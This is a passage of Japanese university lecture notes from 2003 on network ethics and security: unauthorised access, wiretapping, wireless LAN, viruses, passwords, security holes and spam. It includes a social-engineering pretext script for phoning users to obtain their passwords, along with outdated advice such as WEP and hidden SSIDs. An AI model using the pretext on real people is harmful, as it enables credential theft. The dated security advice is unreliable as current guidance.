2. アクセスを許可しているネットワークの外部のネットワークからのアクセス.
3. 短時間に大量のサービスリクエストを行うアクセス.
4. その他, システムの正常な稼働に障害を与えると考えられるアクセス.
これらのアクセスの中に, 「悪意を持った」という言葉が出てこないことに注意してください. すなわち,
機器管理者の立場では, いかなるアクセスも「悪意を持っているかどうかを判断することが出来ない」ので
す. このような状況の中で「悪意を持つ可能性のあるアクセス」かどうかを判断する基準として, 通常は上
のような基準を考えるます61 . これをユーザの立場から考えてみると,
1. 通常に利用している機器以外にアクセスを行うことは, 不正アクセスと見なされる可能性がある.
2. WWW のような一般に公開されていると考えられるサービスであっても, そのサービスを行ってい
ない機器に対してサービスリクエストを行うことは, 不正アクセスと見なされる可能性がある.
ということです.
具体例を見てみましょう. 以下のような例は全て不正アクセスと見なされます.
1. 友人のアカウントのパスワードを入手したので, 友人になりすましてコンピュータを利用した.
パスワードの入手方法のいかんに関わらず, 不正アクセスと見なされる可能性があります. また, パ
スワードを不正な方法で入手した場合には, 明らかな不正アクセスです.
2. 通常利用しているワークステーション, または, その他のワークステーションがどのようなネットワー
クサービスを行っているかを調べるため, 手当たり次第にアクセスを行った.
通常は, 各ワークステーションがどのようなサービスを提供しているかは, サービスを受けるユーザ
に通知されています. それ以外のサービスを探す行為は不正アクセスに該当する可能性があります.
また, 手当たり次第にネットワークサービスを探す行為は, ポートスキャンと呼ばれ, 明らかな不正ア
クセスです.
3. 他機関のコンピュータに対して, 公開されていないネットワークサービスにアクセスしようとする
こと.
一般に, 機関外のユーザに対するネットワークサービスは極めて限定されています. 意図するかしな
いかに関わらず, 不正アクセスと見なされる可能性があります.
60 仮に, このような法律が存在しなくても, 古くから, 不正アクセスはネットワークユーザのモラルに反すると考えられ, 決して行っ
てはいけないとされてきました.
また, 「不正アクセス防止法」では, その対象となる機器は, 「ユーザ認証が行われている機器」と定められていますが, 一般的な
認識では, 上記のように, 明示的なユーザ認証が行われていなくても, 不正アクセスに該当する可能性があります.
61 もちろん, 単なる１回だけのアクセス試行であれば, 操作ミスかもしれないと思いますが, 複数回アクセス試行が行われれば, 悪
意を持っていると考えることが可能です.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
116
4. システムの正常な稼働を妨害するような大量のデータを送りつける.
これは, DoS (Denial of Service) アタックと呼ばれる, 明らかな不正アクセスです.
これら以外にも, 不正アクセスに該当する行為は数多く考えられます. また, 意図しなくても, 不正なソフ
トウェアを利用することにより, 不正アクセス行為を発生させることがありますので, 内容が不明なソフト
ウェアの利用は避けることが賢明です.
3.5.3
ユーザ間のプライバシ
ワークステーションは数多くのユーザが同時に利用している機器です. したがって, ワークステーション
上には他のユーザの個人的なデータが数多く保存されています. ワークステーションのユーザは, 他のユー
ザのデータを本人の許可なしに参照する（見る）ことはできません.
UNIX ワークステーションでは, 各ユーザのデータには保護モード（ファイルやディレクトリのパーミッ
ション62 ）が設定され, 最も高い保護モードでは, 他人がそのファイルを見たり, ディレクトリに入ったり
することはできません. 一方, 保護モードが低く設定されている場合には, 他人がファイルを見ることも可
能です. 仮に低い保護モードが設定されている場合であっても, 他のユーザがそのファイルを参照すること
は, ワークステーション利用のモラルに反することとなります.
3.5.4
ネットワークの不正利用
ネットワークを不正利用するとは, 以下のような行為を指します.
1. システム管理の目的以外で, ネットワーク上に流れるデータを調べること.
2. 利用が許可されていない情報コンセントやネットワークケーブルを利用すること.
3. 利用が許可されていないＩＰアドレスを利用すること.
ここでは, それぞれについて, それがなぜいけないかと, 不用意にそのような行為を行わないための方法, そ
のような行為から自らのリソースを守るための方法などを解説します.
3.5.4.1
データモニタリング
第一の行為は「データモニタリング」と呼ばれます. コンピュータネットワークは, その設計上の理由か
ら, ネットワークに流れるデータがある一定範囲の全てのネットワーク機器に到達するという性質を持って
います63 . したがって, ネットワークに接続した機器上で, その機器に到達したデータを全て監視すること
は, 第３者の通信内容を盗聴する行為に該当します. また, 現在用いられているネットワークサービスのう
ちの多くは, 入力データがそのままの（平文の）形式で通信されているため, データの盗聴を行うことは,
第３者の通信の内容64 を見ることとなります. これをユーザの立場から考えれば, ユーザ認証を行うために
パスワードを入力することは, ネットワーク上にパスワードがそのまま流れることを意味します. したがっ
て, 悪意ある盗聴を防ぐためには, ネットワーク通信を暗号化する必要があります. 通常, 機関内のネット
ワーク（Local Area Network (LAN)）でスイッチング機構を用いている場合には, 通信の暗号化までを考
62 ファイルアクセスに関するパーミッションの詳細については,
UNIX の設定の章を見てください.
スイッチングという機構を用いて, 宛先以外の機器に
はデータが流れない仕組みが用いられていますが, 一般的には, コンピュータネットワークはこのような性質を持っていると考えてか
まいません.
64 通信内容そのものだけでなく, パスワードも含まれる.
63 近年のコンピュータネットワーク（名古屋大学のネットワークなど）では,
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
117
慮する必要は少ないと考えられていますが, 広域ネットワーク65 にパスワードやクレジットカード番号など
の重要なデータを流す際には, 必ず通信を暗号化しなければなりません66 .
近年では, IEEE 802.11b などの無線ＬＡＮのセキュリティが問題となっている. 無線ＬＡＮを利用する
際には, 通常は以下のようなセキュリティ対策を行う.
• 無線ＬＡＮ基地局へのアクセスを, ハードウェアアドレス（MAC アドレス）を用いて制限する.
• 無線ＬＡＮネットワークの SSID （ネットワーク名称）を非公開にして, 容易には推測されない名称
にする.
• 無線ＬＡＮの通信を WEP による暗号化通信にする.
これらの配慮を行わない無線ＬＡＮネットワークは, 不特定多数が無線ＬＡＮネットワークにアクセスする
ことが可能になる. そればかりか, 無線ＬＡＮ上を流れるデータの盗聴を容易に行うことが可能になる.
また, 無線ＬＡＮの暗号化通信規格 (WEP) は４０ビット暗号化鍵を用いたものが普及しているが, ４０
ビット暗号化鍵による WEP には, 多数の通信データから鍵の推測が容易であるという欠陥があるため, 近
年は１０６ビット暗号化鍵による WEP や, セッション鍵を用いた暗号化通信 (IEEE 802.11x) の利用が推
奨されている.
3.5.4.2
ネットワークハードウェアの不正利用
一方, 多くの機関では, ユーザに対する利便性を考慮するため, 建物内部の多くの場所に「情報コンセン
ト」と呼ばれる, ネットワークケーブルの差し込み口が用意されていたり, 計算機室などの場所には, 機器
に接続されていないネットワークケーブルがあったりします. これらのものは, 一見は勝手に利用して良い
ように思ってしまうのですが, 管理者の許可なしにこれらのハードウェアの利用は禁止されていると考えて
ください67 .
一般に, 機関内のネットワークを利用することが出来るネットワーク機器は, ネットワーク管理者の許可
があるものだけに限られています. ネットワーク管理者は, ネットワーク利用のためのハードウェア（情報
コンセントや空きケーブルなど）に悪意を持ったユーザがアクセスし, そこから機関内外に不正アクセスな
どを行うことを怖れています. 逆に, 勝手にこれらのハードウェアを利用する行為は, 悪意を持ったユーザ
が不正アクセスを行うために機器を接続したと理解される場合がありますので, このような行為は絶対に
行わないでください.
しかしながら, 次のような例を考えてみましょう.
• 大学で, 不特定多数の学生68 へのサービスのために, 各自のコンピュータを自由にネットワークへ接
続することが出来る.
このような状況は, 現在いくつかの大学で行われています69 . このことと, 上記のこととは矛盾はしないの
でしょうか？
みなさんも良く知っている通り, コンピュータをネットワークに接続することは, 単に, 機関内のサーバ
（ワークステーション）にアクセスすることだけでなく, 全世界に広がるインターネットを利用することで
65 機関外との通信を含む,
66 例えば,
インターネットの利用などで用いられるネットワーク. Wide Area Network (WAN) と呼ばれる.
研究科外から研究科のワークステーションにアクセスする際に, ssh 以外の利用を認めていないのはこのような理由によ
ります.
67 多元数理科学研究科では, 管理者の許可なしに, 勝手に情報コンセントを利用することや, 計算機室の空きケーブルに機器を接続
することを固く禁止しています.
68 大学の構成員であるはずの学生を「不特定多数」と表現することには問題があるかもしれません. しかし, 後の解説の通り, ネッ
トワーク利用の方法を強く徹底することが不可能という観点から, ある程度以上のユーザを含む集団は, ネットワークの観点からは
「不特定多数」と認識をせざるを得ません.
69 実際, 名古屋大学でも一部の地域でこのようなサービスが行われています.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
118
すので, サーバのユーザ認証とは無関係にネットワークを利用することが可能です. したがって, 上の例で
「不特定多数の学生」を識別するために, ユーザ認証を用いることは難しくなります.
多くの学生に対してこのようなサービスが行われている場合には, 次の２つのいずれかの状況であると
考えられます.
1. 不特定多数の学生が自由にアクセスできるネットワーク接続の口（情報コンセント, 空きケーブル, 無
線ＬＡＮなど）からの接続に関しては, ファイアーウォール, または VPN (Virtual Private Network)
を用いて, そこからのアクセスが強く制限されている70 .
2. ネットワーク管理者がネットワークセキュリティに関して無頓着である.
後者は「あきれて口が塞がらない」という状況ですが, 前者の例を見れば明らかな通り, ユーザにとっては
利用できるサービスが制限されていて, ある程度利便性が損なわれています. 現在のコンピュータネット
ワークの状況下では, コンピュータやネットワークのセキュリティを維持することは極めて重要なテーマと
なっていて, セキュリティはユーザの利便性とは矛盾する内容を含んでいます.
3.5.4.3
アドレスの不正利用
ネットワークに接続された全ての機器は, 機器を識別するための「アドレス」を持ちます. 現在の多くの
ネットワークではＩＰアドレスを呼ばれるアドレス体系を用いています. 逆に言えば, ＩＰアドレスがない
限り, 機器をネットワークに接続しても, 他の機器とは通信が出来ないことを意味しています. また, 「ア
ドレス」という言葉の意味を考えればわかる通り, ネットワーク上に同一のアドレスを持つ機器が複数台存
在すれば, それらの機器の通信が正常に行えなくなることは明らかです. したがって, コンピュータネット
ワークを維持することは, 各機器に対してアドレスを正しく割り当てることが基本となります.
したがって, 許可されていない機器を接続した場合はもちろん, 許可された機器を接続する場合において
も, 利用を許されたＩＰアドレス以外のＩＰアドレスを用いることは禁止されています.
現在のネットワーク技術では, ネットワークに接続された機器に対して, サーバが自動的にＩＰアドレス
を割り当てることも可能ですが, この機能（DHCP と呼ばれます）を利用するには, 接続する機器の設定
を正しく行う必要があることに注意してください.
また, ネットワークによっては, TCP/IP と呼ばれる通信手段（プロトコル）以外のもので, 利用を禁止
しているものがあることがあります71 . これらを不用意に利用すると, 他のネットワーク機器に影響をおよ
ぼす可能性もありますので, ネットワーク機器のネットワークへの接続に際しては, 機器の設定を指定通り
に行うことが必要不可欠となります.
3.5.5
コンピュータ・ウイルス
コンピュータのセキュリティを脅かすものとして, 最も代表的なものはコンピュータ・ウイルス (computer
virus) は, 今日では誰もがその存在を知っているだろう. ウイルスはコンピュータ上のシステムなどを利
用し, システム自体を書き換える, ファイルを削除するなどの行為を実行し, ウイルスのプログラム自体が
他のコンピュータに移動していくなどの性質を持つ.
3.5.5.1
コンピュータ・ウイルスの内容
ウイルスによる被害の内容, その実行の方法などにより, ウイルスをいくつかに分類することができる.
70 例えば,
71 例えば,
WEB サーバへのアクセスに限るなどの制限. 実際に, 名古屋大学で行われているのはこの方法です.
多元数理科学研究科のネットワークにおける IPX など.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
119
• プラットフォームに依存したプログラムで書かれ, 実行形式のファイルに「感染」し, その実行形式
が実行された時点や, 定められた日時にウイルスのコードが実行されるもの.
• プラットフォームに依存したプログラムで書かれるか, ソースコードで配布されるソフトウェアに
付属し, システム上に実行されるのを待つ形を取るもの. （この形をとるウイルスをトロイの木馬
(Torojan Horse) と呼ぶことがある.）
• 特定のアプリケーションのマクロ言語で記述され, プラットフォームには依存しないもの. 具体的に
は Microsoft 関連のアプリケーションで利用される, Visual Basic で記述されたものが多い. （この
形のウイルスをマクロ・ウイルス (macro virus) と呼ぶ.）
• コンピュータ自身に被害をおよぼすことよりも, コンピュータに感染し, ネットワーク上で広まって
いくことを目的として作られたもの. （このようなものをワーム (worm) と呼び, ウイルスとは区別
することがある.）
この分類は完全に機能的に分類したものではない.
3.5.5.2
コンピュータ・ウイルスの特徴
近年良く見ることが出来るコンピュータウイルスの特徴は, 以下のようにまとめられます.
• 特定のＯＳやアプリケーションの下で活動するものが多い.
Microsoft Windows と Internet Exploer 及び Outlook Express を用いているネットワーク機器が
多いため, これらのプラットフォームをターゲットとしたものが多くなっています. また, Microsoft
Office がインストールされていることを前提としているものもあります. 単にこれらを利用している
ユーザが多いことだけが理由ではなく, Microsoft 社のソフトウェアは, ユーザの利便性ばかりを追求
し, コンピュータ自身や, ネットワークのセキュリティに関しての考慮が低いことが問題となってい
ます.
• 電子メールや WEB ページを感染源とするものが多い.
近年の電子メールを扱うソフトウェアや WEB ブラウザは, 多くの種類のデータ（例えば, 画像ファ
イル, 音声ファイルなど）を扱うことが出来ます. この機能を利用すると, 電子メールの添付ファイル
の自動開封機能や WEB ページを閲覧した場合の自動ダウンロード機能を逆手にとり, 実行可能ファ
イルを送付またはダウンロードさせ, 自動実行させることにより, ウイルスに感染させることが出来
ます.
• 感染したコンピュータ自身に破壊的な活動を行わないものがある.
ウイルスに感染したコンピュータは, 感染直後から, もしくは特定の日時になると, 何らかの破壊的
な活動72 を行うことが特徴でした. しかし, 近年のコンピュータウイルスは, 感染したコンピュータ
に記録されている他のユーザの電子メールアドレスに対して, 自分自身を送付するだけの活動をする
ものもあります. このようなウイルスは, 電子メールなどを感染源とし, 単に電子メールをばらまく
ことにより, ネットワークのトラッフィクを増大させることが目的と考えられています. このように,
ネットワークを経由して自分自身を増殖させるタイプのものは, ワーム (Worm) とも呼ばれます.
したがって, 近年のコンピュータウイルスの問題点として, 単に各機器に対して影響を与えるだけでなく,
ネットワークのトラフィックに影響を与え, ウイルスに感染していないユーザにも影響が及びます.
72 データを破壊したりすることだけでなく,
単に画面表示をおかしくすることも含んでいます.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
120
3.5.5.3
ウイルスの移動経路
ウイルス自体の感染経路としては, 古くは, 外部（非固定）記憶メディアを経由して, 他のコンピュータ
に移動していくものが多かった73 が, 最近では, コンピュータネットワークを利用して移動して行くものが
多い74 .
インターネット・ワームと呼ばれるものは, ネットワーク上で他のホストのセキュリティ・ホール（後述）
を探し, セキュリティ・ホールを持つホストに侵入することによって広まる75 .
通常, 我々が被害にあうウイルスは, 今日では電子メールを媒体として広まっていくことが多い. 電子メー
ルを媒体とする場合, 通常はウイルス・プログラムは電子メールの「添付ファイル」として付属し, その添
付ファイルを「開く」（すなわち, 実行するなり, 何かのアプリケーションを利用して読み出すなど）こと
により, ウイルス・プログラムが実行される. さらに, 近年では電子メールだけでなく, WEB ページに感染
するウイルスが作成されている. この機構は本質的には電子メールを媒体にするものと同一で, WEB ペー
ジにアクセスすることにより, ウイルスのアプリケーションをダウンロードさせ, ブラウザがそのファイル
を自動的に「開く」ことにより, ウイルス・プログラムが実行される仕組みである.
3.5.5.4
ウイルスに対する対応
それでは, コンピュータ・ウイルスに対する対策として, どのようなことを行えば良いのだろうか？もっ
とも単純な対策は, 今日の多くのウイルスがプラットフォーム依存の実行形式か, 特定のアプリケーション
のマクロ言語で書かれていることが多いため, 最も有効な防御手段は, 「ウイルスの多いプラットフォーム
やアプリケーションを利用しないこと」である. 今日では, Windows の実行形式か, Microsoft Visual Basic
マクロで記述されているものが圧倒的に多くを占める. したがって, そのようなものを使わないというのが
最も安全な方法である. より詳しくは, 以下のような方法が考えられる.
1. Microsoft 社のソフトウェアにはセキュリティ上に問題が極めて多いため, それらを利用しないか, 利
用する場合には, セキュリティ情報の収集に努め, セキュリティ対策を十分に施す.
はっきり言って「ネットワークやめますか, Microsoft やめますか」という状況になりつつあります.
Microsoft 社のソフトウェアは, ユーザ利便性の追求のため, セキュリティへの配慮が足りないことは
有名な事実です. 仮に, セキュリティレベルを高くすると, 事実上, そのソフトウェアの機能のうち,
他社のソフトウェアに対して優位な点はほとんど利用できなくなります. また, Microsoft 社自身の
セキュリティに関する報告とその対策は不十分なものが多いため, 一旦 BUG FIX （問題点に対策を
講じること）が行われても, 同一の問題点で再度セキュリティ上の問題を発生させたことが何度もあ
ります.
一方, MacOS にはセキュリティ上の問題点が一切なかったわけでもありません. また, MacOS のシェ
アが多くなれば, MacOS を対象としたウイルスが増えるという考え方もあります. しかし, MacOS
とその関連のソフトウェアの場合は, セキュリティ対策がある程度のレベルで行われているため, 比
較的問題は少ないと考えられています. また, UNIX の場合には, 各ソフトウェアや OS の利便性が
必ずしも高くないため, ユーザにとってコンピュータの動作が見えていることが多く, ウイルス対策
はとりやすくなっています76 .
73 コンピュータ・ウイルス自体は, １９８０年代半ばには登場し, この当時はフロッピー・ディスクを経由して広まっていった. ま
た, ワームに関しては, １９８５年頃に大規模なインターネット・ワームが広まるという事件があった.
74 コンピュータ・ウイルスは決して人間には感染しない. また, 「空気感染」をするわけではない. ただ..., 無線ＬＡＮを経由して
感染する場合には, 「空気感染」と言うのかもしれないが...
75 最近では, ２００１年２月に, Linux 上の ftp サーバ (wu-ftpd) のセキュリティ・ホールを利用した, ramen と呼ばれるワーム
が発生した. また, ２００１年半ばには CodeRed とよばれる WEB サーバのセキュリティ・ホールを利用したワームが広まった.
76 UNIX を使っていれば, 現時点ではウイルスはほとんど無関係と考えても良いでしょう.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
121
2. アンチウイルスソフトウェアを利用する. さらに, ウイルス定義ファイルは常に最新のものを利用
する.
新しいウイルスが作成された場合, その情報を含む定義ファイルが配布される以前にウイルスが届く
こともあるため, この対策は後手に回りがちです. しかし, ウイルス感染に気が付かないことも多い
ため, 感染を発覚させるためには, 十分な意味があります.
3. 信頼度の高いサイトのセキュリティ情報には常に目を通しておく.
最近のウイルスは電子メールの添付ファイルとしてやってくることが多いが, この場合,
見知らぬ人から来たメールの添付ファイルは不用意に開かない
ということで対応が可能である. 特に, Microsoft OutlookExpress など, デフォールトでは添付ファイル
を開いてしまう MUA は, ウイルスに感染する危険性が高い. また, いくつかのウイルスでは, 実行時に
Microsoft OutlookExpress の設定ファイルから, 他のユーザの電子メールアドレスを取得し, そこへウイル
ス自身を送るという機能を持ったものも多い.
極端な場合として考えられるのは, ウェブ・ページの JAVA スクリプトや, 画像ファイルなどにウイルス
相当のコードが記述されている場合もあり, 近年ではウェブ・ページを開くことさえもウイルス感染の危険
性を覚悟する必要があり, 不用意に信頼のおけないファイルをダウンロードすることは慎まなくてはなら
ない.
もし, 各自のコンピュータがウイルスに感染した場合には,
1. 速やかにコンピュータをネットワークからはずす.
2. どのようなウイルスに感染したかを特定し, 他のユーザへの影響が考えられる場合には, 感染してい
ないコンピュータを利用して, ウイルスを送付した可能性のある友人などにその旨を連絡する.
3. ＣＤ−ＲＯＭなどの書き込み不可能媒体で配布された, 安全であることがわかっているオリジナル媒
体から, 完全な初期インストールを行う.
最後の項目は思わずサボりがちとなります. 単なる「駆除ソフトウェア」を使うだけでは不十分なことも
考えられるため, 最も安全なことは, 全てのソフトウェアとデータを消去し, 完全な初期インストールを行
うことが必要な場合も多く考えられる. どの程度の駆除を行うかについては, 信頼度の高いウイルス情報サ
イトから情報を得ることが必要となる.
3.5.5.5
ネットワークを利用したウイルスのようなもの
前節では, ネットワークを利用したウイルスの配布形態を解説した. 現在では電子メールを利用したウイ
ルス感染が多く, それに対しては, 適切な MUA を使い, 適切な設定と利用を行うことにより, ウイルス感
染を防ぐことが出来ると述べた. しかしながら, ２０００年はじめ頃（だったと思う）にスペインで起きた,
大規模なウイルス事件は, ユーザが防ぎようのないものであった.
これは, 携帯電話の電子メール機能を狙ったもので, 携帯電話にウイルスが侵入し, その MUA に登録さ
れた他の電話番号に感染していくものであった. これは, 携帯電話の MUA 機能を巧妙に利用したもので,
MUA の設定がほとんどユーザ側で変更することが出来ないため, ユーザは携帯電話の電源を切る以外の対
処法が存在しなかった. 今後, 携帯電話でのメール機能などが発展していく中で, このようなタイプのウイ
ルスに関するセキュリティは考慮しようがないことに注意しよう.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
122
3.5.6
ネットワーク・セキュリティ
各種のネットワークを利用した不正な行為にはどのようなものがあるかを解説し, それに対する対応方
法を考えよう. なお, 不正にコンピュータにアクセスを試みることをハッキング (hacking) と言うことが
あるが, ハッキングとは, コンピュータのソフトウェアやハードウェアの内容を, 必ずしも不正にではなく
解読することであり, 不正なハッキングをクラッキング (cracking) と呼び区別されている.
3.5.6.1
パスワード管理
コンピュータのセキュリティを維持するために最も重要なことは, すべてのユーザにパスワード (password)
の管理を徹底することと考えられている. コンピュータに不正にアクセスするために最も簡単な方法は, そ
のコンピュータのユーザのパスワードを入手することであり, そのパスワードを探ることをパスワード・ク
ラッキング (password cracking) と呼ぶ.
3.5.6.1.1
パスワード・クラッキングの方法
通常, UNIX ワークステーションのパスワードは, パスワー
ド自身を暗号化した形式で保存されている. したがって, 暗号化パスワードファイルを入手し, 暗号を解読
すればパスワードを入手することは可能である.
実際にパスワードを解読する方法としては, 良く知られた単語, ユーザの名前などを大量に辞書として持
ち, 辞書中の単語やその並び替えなどをすべて暗号化して, 暗号化パスワードと比較する方法が良く行われ
る. しかし, 大量の単語の暗号化には時間が掛るため, もっと単純にパスワードを入手する方法が考えられ
ている.
実際にユーザのパスワードを入手するためには, 以下の方法を試してみると良い.
• ユーザの一人に電話をかけ, （例えば大学であれば）
「ＸＸＸ学科の事務室ですが, あなたのコンピュー
タのファイルが不正な情報を含んでいます. それを復旧したいので, あなたのパスワードを教えてく
ださい」と言ってみよう.
すると, 何割かのユーザはパスワードを喋ってしまうと言われている.
このような方法でパスワードを入手することを, ソーシャル・パスワード・クラッキング (social password
cracking) と呼ぶ77 .
3.5.6.1.2
ている.
パスワード管理の方法
パスワードを適切に管理するには, 一般に以下の方法が良いと言われ
1. パスワードは, 辞書に載っている単語, 名前などから類推するものをつけてはならない.
2. パスワードをいかなる理由でも人に教えてはならない.
3. パスワードを手帳などにメモしてはならない.
他人に「ちょっと使わせて」と頼まれてパスワードを教えるユーザもいるようだが, これは決して行っては
ならない. また, パスワードを電子メールなどに（暗号化なしに）書いてはいけない. 後に解説するが, 暗
号化されていない電子メールは, ネットワーク通信路上を流れる際に, 他人に読まれる可能性は否定できな
い. 特に, ネットワーク通信路上で盗聴が起きている場合, パスワード情報は盗聴者にとって極めて有益な
情報となる.
77 銀行の ATM (Automated Teller Machine) でも, 「こちらから暗証番号を聞くことはありません」って書いてあるにも関わら
ず, 暗証番号を教えてしまう人がかなりいるらしい.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
123
また, パスワードを手帳などにメモしてはいけないのは, ほとんど当たり前であるが, 今日, ユーザが利用
するシステムが多くなり, 適切に管理しなければならないパスワードの数も多くなっている. 今後開発され
るシステムでは, 出来る限り「パスワード」以外の認証方法を実現することも, 技術的な大きな課題とされ
ている78 .
セキュリティ・ホール
3.5.6.2
プログラマの意図に反して, ネットワーク関連プログラムにセキュリティ上の問題が生じることがあり,
そのような部分をセキュリティ・ホール (security hole) と呼ぶ. セキュリティ・ホールは一種のバグで
はあるが, 通常, バグとは区別して呼ばれることが多い. セキュリティ・ホールは, すべてのネットワーク関
連ソフトウェアに潜在的に潜む問題であり, セキュリティ・ホールを発見した／された場合には, プログラ
ムのメーカや作者は, 速やかに対応したものを公開することが求められている.
セキュリティ・ホールは, 後に述べる各種の種類があり, 必ずしも特定のソフトウェアに対するものでは
なく, 一般的にプロトコルに問題がある場合もありうる. 著名なソフトウェアやプロトコルに関するセキュ
リティ・ホールに関しては, CERT/CC などの組織でまとめられ, その対処法とともに世界中に公開されて
いる. また, 特定のアプリケーションに関するセキュリティ・ホールがあった場合には, ソフトウェア・ベ
ンダーにより, セキュリティ情報が公開されることが多く, セキュリティ情報を積極的に公開し, その迅速
な対応を行うことは, 今日のソフトウェア・ベンダーに求められている活動の一つである79 . ネットワーク
サービスに著名なソフトウェアを利用することは, セキュリティ・ホールを攻撃される可能性が高い一方で,
セキュリティ・ホールに対する対応がすばやければ, ユーザ自身がセキュリティ・ホールに対する対応を行
えるという利点がある.
3.5.6.2.1 セキュリティ・ホールの内容
類の主なものは以下の通りである80 .
現在, CERT/CC で公開されているセキュリティ・ホールの種
バッファ・オーバフロー (buffer overflow) ネットワーク・サービス・デーモンの文字列領域が, プログ
ラム中で明示的に大きさを指定していない場合に起こりうるもので, ネットワークサービスに対して,
そのプログラムから推測できる長大なデータを送り込むことにより, サーバに特定のプログラムを実
行させ, そこから不正アクセスを行うために有益な情報（例えば, 暗号化パスワードファイル）を入
手する方法.
ポート・スキャン (port scan) サーバのすべてのポートを順に調べ, セキュリティ・ホールのある可能性
のあるポートの番号を調べる方法.
DoS (denial of services attack) サーバ等に対して, 処理能力を越える大量のパケットを送り, サービ
スに重大な影響を与える方法. 目的としては,
• ソース・ルーティング・パケット (source routing packet) を送り込み, ファイアー・ウォール
の動作を狂わせる,
• TCP の half-open connection を大量に作らせ, サーバのすべてのネットワーク資源を使い尽く
させる.
78 決して,
「指紋認証」とかを指しているのではない. このような「バイオ・メトリック」情報は, 読み取り装置などの問題もあり,
局所的な装置には有効であるが, ネットワーク経由の認証に有効に働くとは限らない. ここで言っていることは, 数少ないシステムの
パスワードを管理し, そのシステムからの「電子署名」などの認証方法を実施すべきという意味である.
79 以前に Microsoft 社は InternetExploer のセキュリティ・ホールに関して, 「セキュリティ・ホールはバグではない！」
（ここま
では正しい）, 「ユーザ側の注意によって防ぐことが出来るセキュリティ・ホールなので, 修正をする必要はない」と言った趣旨の発
言を行い, セキュリティに関心のあるユーザの顰蹙をかったことがある.
80 CERT Advisories として, 広く公開されている. http://www.cert.org/
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
124
• サーバの特定のサービス（例えば httpd 等）に影響を与える.
などが挙げられ, 特に http に対する DoS は, 正当なアクセスとの区別がつかないため, 事実上防ぎ
ようがないと言われている.
Java applet を利用したものウェブ・ブラウザ上の Java 仮想機械のバグを利用して, 特定の Jave applet
を実行させることにより, クライアント上の情報を得ることが出来る. (cf. Cert Adovisaries CA2000-15)
クロスサイトスクリプティング Java Script を利用して, ユーザの持つクッキー情報を引き出させるもの.
ウェブ・ブラウザのバグを利用したもの Microsoft OutlookExpress 5.01 などで確認されているセキュリ
ティ・ホールで, 特定の HTML コードを読み込ませることにより, ウイルス相当のコードを後から読
み込ませることが可能になる. (cf. Cert Adovisaries CA-2000-14)
この他にも, 有名なフリーウェアにのソースコードにトロイの木馬が混入したこともある.
3.5.6.3
各種のセキュリティ問題
ここからは, より詳細にセキュリティ問題を調べ, ユーザがネットワークを利用する上で十分に配慮しな
ければならない事項を解説する.
3.5.6.3.1
電子メールに関するセキュリティ問題
近年電子メールは各種の連絡や広告など, 幅広い目的
で使われています. 電子メールの利用に関しても, セキュリティに関連すると考えられる問題が多く含まれ
ています. 具体的に問題となっているのは,
1. アドレスの漏洩,
2. SPAM,
の２つが代表的です.
3.5.6.3.1.1 アドレスの漏洩前者の「アドレスの漏洩」とは, 以下のような問題を指します. 通常, 電
子メールはお互いのアドレスを知っている２人のユーザの間で利用されます. しかし, 電子メールは, 一度
に大量の相手に送信することが可能であることは言うまでもありません. 一方, 個人の電子メールアドレス
は, 電話番号と同じように個人情報と考えられ, 本人の許可なく第３者に教えることは問題があるとされて
います.
電子メールを一度に大量のユーザに送付する場合に, 最も簡単な方法は, 送信先のアドレスを TO に書き
並べていけば良いのですが, この時, そのメールを受け取ったユーザには, TO に書き並べられたアドレスが
全て見えてしまいます. これが「アドレスの漏洩」と呼ばれている問題です. ここで, TO に書かれたアドレ
スが, 全ての受信者が知り合いであり, それを知ることで不特定多数の電子メールアドレスを知ることにな
らなければ問題はないのですが, 例えば, 広告のように, TO の中に不特定多数のメールアドレスが羅列され
ている場合には, 無関係な第３者に他人のメールアドレスを教えることとなります. もちろん, メールアド
レスを知ったからといって, そのユーザの情報のうち電子メール以外のものを知り得たわけではないのです
が, そのメールの受信者は, 他人の有効な電子メールアドレスを入手したこととなります. もし, 受信者の
中に悪意のあるユーザが含まれている場合には, 他人の有効な電子メールアドレスを入手することにより,
他の目的で（例えば, 広告のメールを送るなど）それらのアドレスを再利用することが可能となります.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
125
このような, 不特定多数への電子メールには, 各種メーカからユーザへの情報の通知など, 有効な利用法
がなされているものも少なくなく, 不特定多数への電子メールの配布そのものに問題があるわけではない
ことに注意してください. しかし, 広告（ダイレクトメール）など, 必ずしも問題がないわけではない不特
定多数への電子メールの送信が多く行われています. これらのメールを受信したユーザにとっては, NTT
DoCoMo の i-mode メールを代表とする, メール受信にも課金が行われるシステム81 を利用するユーザも
少なくなく, また, インターネットプロバイダへの接続は時間単位の課金が行われていることが多いため,
不必要な大量のメールの受信はメールを受信するユーザにとって, 不必要な課金を求められています. また,
不必要なメールを大量に送付することは, ネットワークのトラフィックを増大させる原因につながります.
したがって, 何かの理由で不特定多数に電子メールを送信する必要がある場合には, メールの受信者に,
受信者全員の電子メールアドレスが見えない形で送信を行う必要があります. 電子メールのヘッダ内に受
信者のアドレスを明示することなく電子メールを送信することや, 発信者のアドレスさえも明示すること
なく電子メールを送信することは比較的容易に実現できますが, 発信者アドレスを明示することなく電子
メールを送信することに問題が多いので, ここではその方法を解説することは避けることにします.
3.5.6.3.1.2
SPAM
上にも述べた通り, 電子メールは発信者を隠蔽して送信することが出来ます. この
ことを利用して, 不特定多数への広告メール（ダイレクトメール）が多数利用されています. このような場
合には, 発信者を隠蔽するために, さらに巧妙な方法が用いられています.
メールの発信元のホストは電子メールのヘッダを調べることによりある程度特定することが可能です. そ
のため, 広告メールなどでは, 発信ホストさえも隠蔽してしまうために, メールの送信を発信者とは無関係
なホストに行わせる行為が広まっています. すなわち, 「許可されていないユーザによる, 大量の電子メー
ルの中継を行う」行為が行われています. これを SPAM とよび, 中継を行われたホストには以下のような
被害が及ぶため, 一種の不正アクセスと考えられている.
